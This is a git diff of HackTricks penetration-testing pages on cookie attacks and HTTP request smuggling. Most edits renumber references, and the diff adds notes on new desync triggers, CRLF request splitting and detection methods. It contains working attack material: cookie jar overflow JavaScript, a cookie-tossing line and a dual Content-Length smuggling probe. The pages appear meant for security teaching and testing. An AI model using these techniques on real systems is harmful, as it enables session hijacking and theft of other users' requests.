- [1] [When Audits Fail: Four Critical Pre-Auth Vulnerabilities in TRUfusion Enterprise](https://www.rcesecurity.com/2025/09/when-audits-fail-four-critical-pre-auth-vulnerabilities-in-trufusion-enterprise/)
-- [2] [Cookie Bugs - Smuggling & Injection](https://blog.ankursundara.com/cookie-bugs/)
-- [3] [Rickey Martin – Cookie security testing tips (LinkedIn post)](https://www.linkedin.com/posts/rickey-martin-24533653_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd)
+- [2] [Cookie bugs - original research on empty/malformed cookie parsing bugs](https://blog.ankursundara.com/cookie-bugs/)
+- [3] [LinkedIn post](https://www.linkedin.com/posts/rickey-martin-24533653_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd)
- [4] [Bypassing WAFs with the phantom $Version cookie](https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie)
-- [5] [Round-up: Ways to bypass HttpOnly (and HTTP Basic auth)](https://seclists.org/webappsec/2006/q2/181)
-- [6] [Stealing session ids with phpinfo() and how to stop it](https://www.michalspacek.com/stealing-session-ids-with-phpinfo-and-how-to-stop-it)
-- [7] [Vtenext 25.02: A three-way path to RCE](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
+- [5] [seclists webappsec - Cross-Site Tracing (TRACE method cookie disclosure)](https://seclists.org/webappsec/2006/q2/181)
+- [6] [Michal Spacek - Stealing session IDs with phpinfo() and how to stop it](https://www.michalspacek.com/stealing-session-ids-with-phpinfo-and-how-to-stop-it)
+- [7] [VTENEXT 25.02 – a three-way path to RCE](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
- [8] [Cookie Chaos: How to bypass __Host and __Secure cookie prefixes](https://portswigger.net/research/cookie-chaos-how-to-bypass-host-and-secure-cookie-prefixes)
- [9] [Burp Custom Action – CookiePrefixBypass.bambda](https://github.com/PortSwigger/bambdas/blob/main/CustomAction/CookiePrefixBypass.bambda)
- [10] [Rapid7 Observed Exploitation of PAN-OS GlobalProtect Authentication Bypass Vulnerability (CVE-2026-0257)](https://www.rapid7.com/blog/post/etr-rapid7-observed-exploitation-of-pan-os-globalprotect-authentication-bypass-vulnerability-cve-2026-0257)
- [11] [Palo Alto Networks advisory: CVE-2026-0257 PAN-OS: GlobalProtect Authentication Bypass Vulnerabilities](https://security.paloaltonetworks.com/CVE-2026-0257)
- [12] [Rapid7 PoC for CVE-2026-0257](https://github.com/sfewer-r7/CVE-2026-0257)
-- [13] [Same-Site Cookie Attribute – Prevent Cross-Site Request Forgery](https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/)
-- [14] [Promiscuous cookies and their impending death via the SameSite policy](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)
-- [15] [Bypass HttpOnly via PHP info page](https://blog.hackcommander.com/posts/2022/11/12/bypass-httponly-via-php-info-page/)
-- [16] [Cookie Crumbles: Breaking and Fixing Web Session Integrity (USENIX Security 2023 paper)](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)
-- [17] [Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities (talk)](https://www.youtube.com/watch?v=F_wAzF4a7Xg)
-- [18] [Stealing HttpOnly cookies with the cookie sandwich technique](https://portswigger.net/research/stealing-httponly-cookies-with-the-cookie-sandwich-technique)
+- [13] [PortSwigger Research - Stealing HttpOnly cookies with the Cookie Sandwich technique](https://portswigger.net/research/stealing-httponly-cookies-with-the-cookie-sandwich-technique)
+- [14] [Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities (USENIX Security '23 paper)](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)
+- [15] [Same-Site Cookie Attribute – Prevent Cross-Site Request Forgery](https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/)
+- [16] [Promiscuous cookies and their impending death via the SameSite policy](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)
+- [17] [Bypass HttpOnly via PHP info page](https://blog.hackcommander.com/posts/2022/11/12/bypass-httponly-via-php-info-page/)
+- [18] [Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities (talk)](https://www.youtube.com/watch?v=F_wAzF4a7Xg)
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/hacking-with-cookies/cookie-bomb.md b/src/pentesting-web/hacking-with-cookies/cookie-bomb.md
index 2f132cbcd86..a42e250e65e 100644
--- a/src/pentesting-web/hacking-with-cookies/cookie-bomb.md
+++ b/src/pentesting-web/hacking-with-cookies/cookie-bomb.md
@@ -10,10 +10,7 @@ And for more information, you can check this presentation: [https://speakerdeck.
## References
-- [1] [HackerOne report #57356 - Cookie bomb](https://hackerone.com/reports/57356)
-- [2] [The Cookie Monster in Your Browsers](https://speakerdeck.com/filedescriptor/the-cookie-monster-in-your-browsers?slide=26)
+- [1] [HackerOne report #57356 - Cookie bomb DoS](https://hackerone.com/reports/57356)
+- [2] [The Cookie Monster in Your Browsers - speakerdeck presentation](https://speakerdeck.com/filedescriptor/the-cookie-monster-in-your-browsers?slide=26)
{{#include ../../banners/hacktricks-training.md}}
-
-
-
diff --git a/src/pentesting-web/hacking-with-cookies/cookie-jar-overflow.md b/src/pentesting-web/hacking-with-cookies/cookie-jar-overflow.md
index 8ebd16470a1..71d4a565245 100644
--- a/src/pentesting-web/hacking-with-cookies/cookie-jar-overflow.md
+++ b/src/pentesting-web/hacking-with-cookies/cookie-jar-overflow.md
@@ -2,9 +2,9 @@
{{#include ../../banners/hacktricks-training.md}}
-Cookie jar overflow abuses the fact that browsers cap how many cookies they keep for one site/jar. If you can run JavaScript in the victim origin (typically via XSS), you can keep creating cookies until older entries are evicted, then recreate the target cookie with attacker-controlled data.[[3]](#references)
+Cookie jar overflow abuses the fact that browsers cap how many cookies they keep for one site/jar. If you can run JavaScript in the victim origin (typically via XSS), you can keep creating cookies until older entries are evicted, then recreate the target cookie with attacker-controlled data.[[1]](#references)
-The exact threshold is browser-dependent. The current spec only requires user agents to support at least **50 cookies per domain**, while current Chromium builds use **180 cookies per eTLD+1** and **180 per partitioned jar**. Therefore, do **not** hardcode `700` cookies and assume it will always work.
+The exact threshold is browser-dependent. The current spec only requires user agents to support at least **50 cookies per domain**, while current Chromium builds use **180 cookies per eTLD+1** and **180 per partitioned jar**. Therefore, do **not** hardcode `700` cookies and assume it will always work.[[2]](#references)
```javascript
const attrs = "Path=/";
@@ -22,7 +22,7 @@ for (let i = 0; i < 400; i++) {
## Overwriting `HttpOnly` Cookies
-This technique can still be used to **evict an `HttpOnly` cookie and then recreate it without `HttpOnly`**, but only if you can **match the original scope** (`name`, `Path`, and host/`Domain` behavior):
+This technique can still be used to **evict an `HttpOnly` cookie and then recreate it without `HttpOnly`**, but only if you can **match the original scope** (`name`, `Path`, and host/`Domain` behavior):[[1]](#references)
```javascript
const targetScope = "Path=/app; Secure";
@@ -39,19 +39,19 @@ If the original cookie was set for a different `Path` or with a wider `Domain`,
> [!CAUTION]
> This attack does **not** let JavaScript modify `HttpOnly` in place. The practical primitive is: **evict first, then create a new non-`HttpOnly` cookie with the same scope**.
>
-> Check the original lab in [**this post**](https://www.sjoerdlangkemper.nl/2020/05/27/overwriting-httponly-cookies-from-javascript-using-cookie-jar-overflow/).
+> Check the original lab in [**this post**](https://www.sjoerdlangkemper.nl/2020/05/27/overwriting-httponly-cookies-from-javascript-using-cookie-jar-overflow/).[[1]](#references)
## Reliability Notes
-- **Eviction is not always "oldest cookie first"**. In Chromium the garbage collector is LRU-like and tends to preserve more valuable cookies longer, especially `Secure` and higher-priority cookies. A recently used session cookie is usually harder to evict than a stale low-priority one.[[1]](#references)
+- **Eviction is not always "oldest cookie first"**. In Chromium the garbage collector is LRU-like and tends to preserve more valuable cookies longer, especially `Secure` and higher-priority cookies. A recently used session cookie is usually harder to evict than a stale low-priority one.[[2]](#references)
- **Profile the real cookie first**. Before overflowing, capture the original `Set-Cookie` in Burp/DevTools and note `Path`, `Domain`, `Priority`, prefixes, and whether the cookie is `Partitioned`.
-- **Prefer first-party execution**. Modern browsers increasingly isolate or block third-party cookies. If the cookie is partitioned (`Partitioned` / CHIPS, or browser-enforced third-party partitioning), overflowing the jar of `cdn.example` while embedded in `siteA.com` will not evict the cookie that the same origin uses as a top-level site or while embedded in `siteB.com`.[[2]](#references)
+- **Prefer first-party execution**. Modern browsers increasingly isolate or block third-party cookies. If the cookie is partitioned (`Partitioned` / CHIPS, or browser-enforced third-party partitioning), overflowing the jar of `cdn.example` while embedded in `siteA.com` will not evict the cookie that the same origin uses as a top-level site or while embedded in `siteB.com`.[[3]](#references)
- **New prefixed cookies reduce the impact**. In browsers that enforce the newer `__Http-` and `__Host-Http-` prefixes, JavaScript cannot recreate those cookies with `document.cookie`. You may still evict them, but you cannot mint a same-named replacement client-side.
## References
-- [1] [Chromium eviction notes](https://blog.yoav.ws/posts/how_chromium_cookies_get_evicted/)
-- [2] [CHIPS / partitioned cookies](https://privacysandbox.google.com/cookies/chips)
-- [3] [Overwriting HttpOnly cookies from JavaScript using cookie jar overflow](https://www.sjoerdlangkemper.nl/2020/05/27/overwriting-httponly-cookies-from-javascript-using-cookie-jar-overflow/)
+- [1] [Overwriting HttpOnly cookies from JavaScript using cookie jar overflow](https://www.sjoerdlangkemper.nl/2020/05/27/overwriting-httponly-cookies-from-javascript-using-cookie-jar-overflow/)
+- [2] [Chromium eviction notes](https://blog.yoav.ws/posts/how_chromium_cookies_get_evicted/)
+- [3] [CHIPS / partitioned cookies](https://privacysandbox.google.com/cookies/chips)
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/hacking-with-cookies/cookie-tossing.md b/src/pentesting-web/hacking-with-cookies/cookie-tossing.md
index a75d8593d59..40ed3dc5063 100644
--- a/src/pentesting-web/hacking-with-cookies/cookie-tossing.md
+++ b/src/pentesting-web/hacking-with-cookies/cookie-tossing.md
@@ -11,10 +11,10 @@ As it was indicated in the Cookies Hacking section, when a **cookie is set to a
> [!CAUTION]
> Therefore, **an attacker is going to be able to set to the domain and subdomains a specific cookie doing something like** `document.cookie="session=1234; Path=/app/login; domain=.example.com"`
-This can be dangerous as the attacker may be able to:
+This can be dangerous as the attacker may be able to:[[4]](#references)
- **Fixate the cookie of the victim to the attacker's account** so if the user doesn't notice, **he will perform the actions in the attacker's account** and the attacker may obtain some interesting information (check the history of the searches of the user in the platform, the victim may set his credit card in the account...)
- - An example of this [can be found here](https://snyk.io/articles/hijacking-oauth-flows-via-cookie-tossing/) where the attacker set his cookie in specific sections a victim will use to authorize **access to his git repos but from the attackers account** as he will be setting his cookies in the needed endpoints.[[5]](#references)
+ - An example of this [can be found here](https://snyk.io/articles/hijacking-oauth-flows-via-cookie-tossing/) where the attacker set his cookie in specific sections a victim will use to authorize **access to his git repos but from the attackers account** as he will be setting his cookies in the needed endpoints.[[2]](#references)
- If the **cookie doesn't change after login**, the attacker may just **fixate a cookie (session-fixation)**, wait until the victim logs in and then **use that cookie to log in as the victim**.
- Sometimes, even if the session cookies changes, the attacker use the previous one and he will receive the new one also.
- If the **cookie is setting some initial value** (like in flask where the **cookie** may **set** the **CSRF token** of the session and this value will be maintained after the victim logs in), the **attacker may set this known value and then abuse it** (in that scenario, the attacker may then make the user perform a CSRF request as he knows the CSRF token).
@@ -26,14 +26,14 @@ When a browser receives two cookies with the same name **partially affecting the
Depending on who has **the most specific path** or which one is the **oldest one**, the browser will **set the value of the cookie first** and then the value of the other one like in: `Cookie: iduser=MoreSpecificAndOldestCookie; iduser=LessSpecific;`
-Most **websites will only use the first value**. Then, if an attacker wants to set a cookie it's better to set it before another one is set or set it with a more specific path.
+Most **websites will only use the first value**. Then, if an attacker wants to set a cookie it's better to set it before another one is set or set it with a more specific path.[[3]](#references)
> [!WARNING]
> Moreover, the capability to **set a cookie in a more specific path** is very interesting as you will be able to make the **victim work with his cookie except in the specific path where the malicious cookie set will be sent before**.
### Protection Bypass
-Possible protection against this attack would be that the **web server won't accept requests with two cookies with the same name but two different values**.
+Possible protection against this attack would be that the **web server won't accept requests with two cookies with the same name but two different values**.[[4]](#references)
To bypass the scenario where the attacker is setting a cookie after the victim was already given the cookie, the attacker could cause a **cookie overflow** and then, once the **legit cookie is deleted, set the malicious one**.
@@ -42,7 +42,7 @@ To bypass the scenario where the attacker is setting a cookie after the victim w
cookie-jar-overflow.md
{{#endref}}
-Another useful **bypass** could be to **URL encode the name of the cookie** as some protections check for 2 cookies with the same name in a request and then the server will decode the names of the cookies.
+Another useful **bypass** could be to **URL encode the name of the cookie** as some protections check for 2 cookies with the same name in a request and then the server will decode the names of the cookies.[[4]](#references)
### Cookie Bomb
@@ -62,12 +62,10 @@ cookie-bomb.md
## References
-- [1] [@blueminimal](https://twitter.com/blueminimal)
-- [2] [The Cookie Monster in Your Browsers](https://speakerdeck.com/filedescriptor/the-cookie-monster-in-your-browsers)
-- [3] [Yummy cookies across domains](https://github.blog/2013-04-09-yummy-cookies-across-domains/)
-- [4] [Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities](https://www.youtube.com/watch?v=F_wAzF4a7Xg)
-- [5] [Hijacking OAuth flows via Cookie Tossing](https://snyk.io/articles/hijacking-oauth-flows-via-cookie-tossing/)
+- [1] [**@blueminimal**](https://twitter.com/blueminimal)
+- [2] [Hijacking OAuth flows via cookie tossing](https://snyk.io/articles/hijacking-oauth-flows-via-cookie-tossing/)
+- [3] [**The Cookie Monster in Your Browsers**](https://speakerdeck.com/filedescriptor/the-cookie-monster-in-your-browsers)
+- [4] [**Yummy cookies across domains**](https://github.blog/2013-04-09-yummy-cookies-across-domains/)
+- [5] [**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F_wAzF4a7Xg)
{{#include ../../banners/hacktricks-training.md}}
-
-
diff --git a/src/pentesting-web/http-connection-contamination.md b/src/pentesting-web/http-connection-contamination.md
index 1f19a15734e..19e59246983 100644
--- a/src/pentesting-web/http-connection-contamination.md
+++ b/src/pentesting-web/http-connection-contamination.md
@@ -20,7 +20,7 @@ fetch("//sub1.hackxor.net/", { mode: "no-cors", credentials: "include" }).then(
The threat is currently limited due to the rarity of first-request routing and the complexity of HTTP/2. However, the proposed changes in HTTP/3, which relax the IP address match requirement, could broaden the attack surface, making servers with a wildcard certificate more vulnerable without needing a MITM attack.
-Best practices include avoiding first-request routing in reverse proxies and being cautious with wildcard TLS certificates, especially with the advent of HTTP/3. Regular testing and awareness of these complex, interconnected vulnerabilities are crucial for maintaining web security.
+Best practices include avoiding first-request routing in reverse proxies and being cautious with wildcard TLS certificates, especially with the advent of HTTP/3. Regular testing and awareness of these complex, interconnected vulnerabilities are crucial for maintaining web security.[[1]](#references)
## References
@@ -28,5 +28,3 @@ Best practices include avoiding first-request routing in reverse proxies and bei
{{#include ../banners/hacktricks-training.md}}
-
-
diff --git a/src/pentesting-web/http-connection-request-smuggling.md b/src/pentesting-web/http-connection-request-smuggling.md
index d4064ff52f4..4d361df903b 100644
--- a/src/pentesting-web/http-connection-request-smuggling.md
+++ b/src/pentesting-web/http-connection-request-smuggling.md
@@ -2,7 +2,7 @@
{{#include ../banners/hacktricks-training.md}}
-**HTTP connection request smuggling** is a **connection-state / routing** problem rather than a classic CL.TE/TE.CL parser discrepancy. The bug appears when a front-end decides **where a connection is allowed to go only once**, then silently reuses that same TCP/TLS connection for later requests with a different `Host` or `:authority`.
+**HTTP connection request smuggling** is a **connection-state / routing** problem rather than a classic CL.TE/TE.CL parser discrepancy. The bug appears when a front-end decides **where a connection is allowed to go only once**, then silently reuses that same TCP/TLS connection for later requests with a different `Host` or `:authority`.[[1]](#references)[[2]](#references)
If you need the classic length-confusion variants, see [HTTP Request Smuggling / HTTP Desync Attack](http-request-smuggling/README.md) and [Request Smuggling in HTTP/2 Downgrades](http-request-smuggling/request-smuggling-in-http-2-downgrades.md).
diff --git a/src/pentesting-web/http-request-smuggling/README.md b/src/pentesting-web/http-request-smuggling/README.md
index 35377ab5bc1..629d0d45a86 100644
--- a/src/pentesting-web/http-request-smuggling/README.md
+++ b/src/pentesting-web/http-request-smuggling/README.md
@@ -6,7 +6,7 @@
## What is
This vulnerability occurs when a **desyncronization** between **front-end proxies** and the **back-end** server allows an **attacker** to **send** an HTTP **request** that will be **interpreted** as a **single request** by the **front-end** proxies (load balance/reverse-proxy) and **as 2 request** by the **back-end** server.\
-This allows a user to **modify the next request that arrives to the back-end server after his**.
+This allows a user to **modify the next request that arrives to the back-end server after his**.[[1]](#references)
### Theory
@@ -25,7 +25,7 @@ This allows a user to **modify the next request that arrives to the back-end ser
### Reality
-The **Front-End** (a load-balance / Reverse Proxy) **process** the _**content-length**_ or the _**transfer-encoding**_ header and the **Back-end** server **process the other** one provoking a **desyncronization** between the 2 systems.\
+The **Front-End** (a load-balance / Reverse Proxy) **process** the _**content-length**_ or the _**transfer-encoding**_ header and the **Back-end** server **process the other** one provoking a **desyncronization** between the 2 systems.[[4]](#references)\
This could be very critical as **an attacker will be able to send one request** to the reverse proxy that will be **interpreted** by the **back-end** server **as 2 different requests**. The **danger** of this technique resides in the fact the **back-end** server **will interpret** the **2nd request injected** as if it **came from the next client** and the **real request** of that client will be **part** of the **injected request**.
### Particularities
@@ -40,7 +40,7 @@ Remember that in HTTP **a new line character is composed by 2 bytes:**
The main proble with http/1.1 is that all the requests go in the same TCP socket, so if a discrpancy is found between 2 systems receiving requests it's possible to send one request that will be reated as 2 different requests (or more) by the final backend (or even intermediary systems).
-**[This blog post](https://portswigger.net/research/http1-must-die)** proposes new ways to detect desync attacks to a system that won't be flagged by WAFs. For this it presents the Visible vs Hidden behaviours. The goal in this case is to try to find discrepancies in the repsonse using techniques that could be causing desyncs withuot actually exploiting anything.[[14]](#references)
+**[This blog post](https://portswigger.net/research/http1-must-die)** proposes new ways to detect desync attacks to a system that won't be flagged by WAFs. For this it presents the Visible vs Hidden behaviours. The goal in this case is to try to find discrepancies in the repsonse using techniques that could be causing desyncs withuot actually exploiting anything.[[15]](#references)
For example, sending a request with the normal host header and a " host" header, if the backend complains about this request (maybe becasue the value of " host" is incorrect) it possible means that the front-end didn't see about the " host" header while the final backend did use it, higly probale implaying a desync between front-end and backend.
@@ -50,7 +50,7 @@ If the front-end would have taken into account the " host" header but the front-
For example, this allowed to discover desyncs between AWS ALB as front-end and IIS as the backend. This was because when the "Host: foo/bar" was sent, the ALB returned `400, Server; awselb/2.0`, but when "Host : foo/bar" was sent, it returned `400, Server: Microsoft-HTTPAPI/2.0`, indicating the backend was sending the response. This is a Hidden-Vissible (H-V) situation.
-Note that this situation is not corrected in the AWS, but it can be prevented setting `routing.http.drop_invalid_header_fields.enabled` and `routing.http.desync_mitigation_mode = strictest`.
+Note that this situation is not corrected in the AWS, but it can be prevented setting `routing.http.drop_invalid_header_fields.enabled` and `routing.http.desync_mitigation_mode = strictest`.[[15]](#references)
## Basic Examples
@@ -69,7 +69,7 @@ HTTP request smuggling attacks are crafted by sending ambiguous requests that ex
#### CL.TE Vulnerability (Content-Length used by Front-End, Transfer-Encoding used by Back-End)
-- **Front-End (CL):** Processes the request based on the `Content-Length` header.
+- **Front-End (CL):** Processes the request based on the `Content-Length` header.[[6]](#references)
- **Back-End (TE):** Processes the request based on the `Transfer-Encoding` header.
- **Attack Scenario:**
@@ -227,13 +227,36 @@ Host:
This is useful to cause a desync, but it won't have any impact until now.
-However, the post offers a solution for this by converting a **[0.CL attack into a CL.0 with a double desync](https://portswigger.net/research/http1-must-die)**.[[14]](#references)
+However, the post offers a solution for this by converting a **[0.CL attack into a CL.0 with a double desync](https://portswigger.net/research/http1-must-die)**.[[15]](#references)
+
+#### Emerging trigger families (2026)
+
+Recent large-scale desync research produced several reusable **non-classic triggers** worth testing in addition to CL.TE / TE.CL / TE.0:[[22]](#references)
+
+- **HTTP/1.0 + `Transfer-Encoding`**: some chains change framing as soon as `Transfer-Encoding` exists, even when the value is not `chunked`. `Transfer-Encoding: gzip` was enough to trigger CL.0-style desyncs because one hop still honored `Content-Length` while another treated the HTTP/1.0 message as faulty framed.[[22]](#references)
+- **Response-only semantics inside requests**: `Content-Type: multipart/byteranges` can behave like a CL.0 trigger when one component reuses response-side multipart logic and effectively treats the request as bodyless while another still honors `Content-Length`. This generalizes into **Shared-Parser Confusion**: also test response-oriented features such as `Location`, `Set-Cookie`, `Range`, cache invalidation, and CONNECT tunnel state changes inside requests.[[22]](#references)
+- **Dual-matching `Content-Length`**: some servers treat **any duplicate `Content-Length`** as “no body”, even when both values are identical, valid, and exactly match the body size. Another hop may accept the shared length, creating a CL.0-like desync with otherwise clean framing. Whitespace-prefixed / obs-fold-like placement of the second header is worth testing too.[[22]](#references)
+- **CONNECT tunnel confusion**: after a successful `CONNECT`, trailing bytes from the CONNECT request can prefix the next request (for example `XGET ...`). This is mainly interesting behind front-ends that forward CONNECT upstream.[[22]](#references)
+
+Minimal dual-matching probe:
+
+```http
+GET / HTTP/1.1
+Host: target
+Content-Length: 28
+Content-Length: 28
+
+GET /x HTTP/5.1
+X: X
+```
+
+A later victim request receiving `505 HTTP Version Not Supported` is a strong sign that the embedded request crossed a boundary.[[22]](#references)
#### Breaking the web server
This technique is also useful in scenarios where it's possible to **break a web server while reading the initial HTTP data** but **without closing the connection**. This way, the **body** of the HTTP request will be considered the **next HTTP request**.
-For example, as explained in [**this writeup**](https://mizu.re/post/twisty-python), In Werkzeug it was possible to send some **Unicode** characters and it will make the server **break**. However, if the HTTP connection was created with the header **`Connection: keep-alive`**, the body of the request won’t be read and the connection will still be open, so the **body** of the request will be treated as the **next HTTP request**.[[19]](#references)
+For example, as explained in [**this writeup**](https://mizu.re/post/twisty-python), In Werkzeug it was possible to send some **Unicode** characters and it will make the server **break**. However, if the HTTP connection was created with the header **`Connection: keep-alive`**, the body of the request won’t be read and the connection will still be open, so the **body** of the request will be treated as the **next HTTP request**.[[10]](#references)
#### Forcing via hop-by-hop headers
@@ -322,6 +345,23 @@ Check how this header can help exploiting a http desync in:
../../network-services-pentesting/pentesting-web/special-http-headers.md
{{#endref}}
+## CRLF-powered request splitting and desynchronization
+
+If attacker-controlled data is URL-decoded before a reverse proxy copies it into an upstream HTTP/1 request, `%0d%0a` stops being just response/header injection and becomes a request-smuggling primitive. A common example is Nginx `proxy_pass http://backend$uri;`, because `$uri` is normalized before the upstream request is constructed. The same sink can hide in regex captures, query parameters, cookie values, or custom upstream headers populated from request data. See also [CRLF (%0D%0A) Injection](../crlf-0d-0a.md).[[23]](#references)
+
+### Detection notes
+
+- Prefer payloads that should trigger a **distinct upstream status code** if the injected bytes reached the back end: invalid HTTP version (`505`), unsupported `Transfer-Encoding` (`501`), invalid `Expect` (`417`), or a malformed `Content-Length` (`400`).[[23]](#references)
+- If `CRLFCRLF` immediately causes `400` and connection close, do **not** discard the sink yet: some targets still allow **single-header injection**, which is enough for `CL.TE` or request-tunnelling style desyncs.[[23]](#references)
+- Do not limit testing to the path. In real targets the vulnerable value may be copied into the upstream request line from a **cookie/session token**, or injected into a **custom upstream header** first and only later broken out into a second request.[[23]](#references)
+
+### Escalation patterns
+
+- **Request splitting / response queue poisoning:** if two CRLF pairs survive, terminate the first header block and append a complete second request. One front-end request then becomes two back-end requests, shifting the response queue and enabling cross-user response theft, cache poisoning, and sometimes cross-tenant leakage when the smuggled `Host` can be changed on shared CDN infrastructure.[[23]](#references)
+- **Single-header fallback -> CRLF-powered `CL.TE`:** if only one injected header survives, add `Transfer-Encoding: chunked` while the front end still honors a normal `Content-Length`. An incomplete chunk is a strong confirmation probe because the back end waits for more body bytes; exploitation is the usual `0\r\n\r\n` pattern that consumes the next request on the reused connection.[[23]](#references)
+- **Blind request-tunnelling disclosure with `Expect`:** when the inner request is processed on a private upstream but the response is normally hidden, inject `Expect: 100-continue`. Some Nginx flows relay the unexpected `100 Continue` plus the tunneled response, which also enables bypass of front-end-only ACLs by placing an allowed path in the outer request and a protected path in the inner one.[[23]](#references)
+- **Browser-sendable desyncs:** because the control bytes can live in the URL path or POST body instead of forbidden custom headers, many CRLF-powered desyncs are reachable via navigation or `fetch()`, which makes connection-locked and IP-locked variants practical once a server-side sink is confirmed.[[23]](#references)
+
### HTTP Request Smuggling Vulnerability Testing
After confirming the effectiveness of timing techniques, it's crucial to verify if client requests can be manipulated. A straightforward method is to attempt poisoning your requests, for instance, making a request to `/` yield a 404 response. The `CL.TE` and `TE.CL` examples previously discussed in [Basic Examples](#basic-examples) demonstrate how to poison a client's request to elicit a 404 response, despite the client aiming to access a different resource.
@@ -336,9 +376,26 @@ When testing for request smuggling vulnerabilities by interfering with other req
- **Load Balancing Challenges:** Front-end servers acting as load balancers may distribute requests across various back-end systems. If the "attack" and "normal" requests end up on different systems, the attack won't succeed. This load balancing aspect may require several attempts to confirm a vulnerability.
- **Unintended User Impact:** If your attack inadvertently impacts another user's request (not the "normal" request you sent for detection), this indicates your attack influenced another application user. Continuous testing could disrupt other users, mandating a cautious approach.
+### Generic cross-request contamination detection
+
+Timing probes are still useful for CL.TE / TE.CL deadlocks, but newer tooling also looks for any reproducible **cross-request contamination** instead of guessing the desync class first. Record a stable **control/victim** request and its normal response, send a candidate trigger on a **separate connection**, then immediately repeat the same victim request. If the victim response changes reproducibly, request isolation is broken even if you do not yet know whether the bug is CL.0, TE.0, response-queue poisoning, or something stranger.[[22]](#references)
+
+A good classification trick is to place a **recognizable request** in the apparent body and look for a distinctive downstream response. For example, `GET / HTTP/777` should provoke `505 HTTP Version Not Supported`, and a smuggled `TRACE` request can reflect escaped bytes back in the response. This finds unknown desync classes without hard-coding the parser discrepancy first.[[22]](#references)
+
+### Clean probes vs dirty probes
+
+Do not treat “two responses came back” as proof by itself. If the trigger is ambiguous enough that the target could legitimately parse it as **two pipelined requests**, you may have only observed normal HTTP/1.1 behavior. Prefer **clean probes**: RFC-compliant requests with one unambiguous body boundary. If a clean request still causes a second response, or changes a later victim response, that is a much stronger desync signal.[[22]](#references)
+
+### Protocol-ruler transformation detection
+
+If the back-end has a sharp **maximum header length**, use that limit as a black-box ruler to detect front-end rewriting even when no header is reflected. Measure the largest accepted header value, replace a couple of known bytes with a candidate byte sequence, and measure again. If two bytes make the acceptance boundary shrink by ~10 bytes, the front-end likely expanded or normalized them before forwarding. This is useful for finding Unicode/mojibake rewrites, header dropping/overrides, and spoofing-header normalization that can later produce FE↔BE parser disagreement.[[22]](#references)
+
+> [!TIP]
+> If you want to automate **trigger generation, permutation, and validation** instead of only manual probing, check [AI-Assisted Fuzzing & Automated Vulnerability Discovery](../../AI/AI-Assisted-Fuzzing-and-Vulnerability-Discovery.md) for the generalized LLM/evaluator patterns behind HTTP Terminator.[[22]](#references)
+
## Distinguishing HTTP/1.1 pipelining artifacts vs genuine request smuggling
-Connection reuse (keep-alive) and pipelining can easily produce illusions of "smuggling" in testing tools that send multiple requests on the same socket. Learn to separate harmless client-side artifacts from real server-side desync.[[10]](#references)
+Connection reuse (keep-alive) and pipelining can easily produce illusions of "smuggling" in testing tools that send multiple requests on the same socket. Learn to separate harmless client-side artifacts from real server-side desync.[[11]](#references)[[12]](#references)
### Why pipelining creates classic false positives
@@ -399,7 +456,7 @@ Impact: none. You just desynced your client from the server framing.
- Send an HTTP/2 request. If the response body contains a complete nested HTTP/1 response, you’ve proven a backend parsing/desync bug instead of a pure client artifact.
3. Partial-requests probe for connection-locked front-ends
- Some FEs only reuse the upstream BE connection if the client reused theirs. Use partial-requests to detect FE behavior that mirrors client reuse.
- - See PortSwigger "Browser‑Powered Desync Attacks" for the connection-locked technique.
+ - See PortSwigger "Browser‑Powered Desync Attacks" for the connection-locked technique.[[13]](#references)
4. State probes
- Look for first- vs subsequent-request differences on the same TCP connection (first-request routing/validation).
- Burp "HTTP Request Smuggler" includes a connection‑state probe that automates this.
@@ -408,7 +465,7 @@ Impact: none. You just desynced your client from the server framing.
### Connection‑locked request smuggling (reuse-required)
-Some front-ends only reuse the upstream connection when the client reuses theirs. Real smuggling exists but is conditional on client-side reuse. To distinguish and prove impact:[[12]](#references)
+Some front-ends only reuse the upstream connection when the client reuses theirs. Real smuggling exists but is conditional on client-side reuse. To distinguish and prove impact:
- Prove the server-side bug
- Use the HTTP/2 nested-response check, or
- Use partial-requests to show the FE only reuses upstream when the client does.
@@ -429,7 +486,7 @@ Some front-ends only reuse the upstream connection when the client reuses theirs
### Client‑side desync constraints
-If you’re targeting browser-powered/client-side desync, the malicious request must be sendable by a browser cross-origin. Header obfuscation tricks won’t work. Focus on primitives reachable via navigation/fetch, and then pivot to cache poisoning, header disclosure, or front-end control bypass where downstream components reflect or cache responses.
+If you’re targeting browser-powered/client-side desync, the malicious request must be sendable by a browser cross-origin. Header obfuscation tricks won’t work. Focus on primitives reachable via navigation/fetch, and then pivot to cache poisoning, header disclosure, or front-end control bypass where downstream components reflect or cache responses.[[14]](#references)
For background and end-to-end workflows:
@@ -529,9 +586,9 @@ This method primarily serves to understand the request modifications made by the
### Capturing other users' requests
-It's feasible to capture the requests of the next user by appending a specific request as the value of a parameter during a POST operation. Here's how this can be accomplished:
+It's feasible to capture the requests of the next user by appending a specific request as the value of a parameter during a POST operation. Here's how this can be accomplished:[[3]](#references)
-By appending the following request as the value of a parameter, you can store the subsequent client's request:[[3]](#references)
+By appending the following request as the value of a parameter, you can store the subsequent client's request:
```
POST / HTTP/1.1
@@ -564,7 +621,7 @@ Additionally, it's worth noting that this approach is also viable with a TE.CL v
HTTP Request Smuggling can be leveraged to exploit web pages vulnerable to **Reflected XSS**, offering significant advantages:
- Interaction with the target users is **not required**.
-- Allows the exploitation of XSS in parts of the request that are **normally unattainable**, like HTTP request headers.
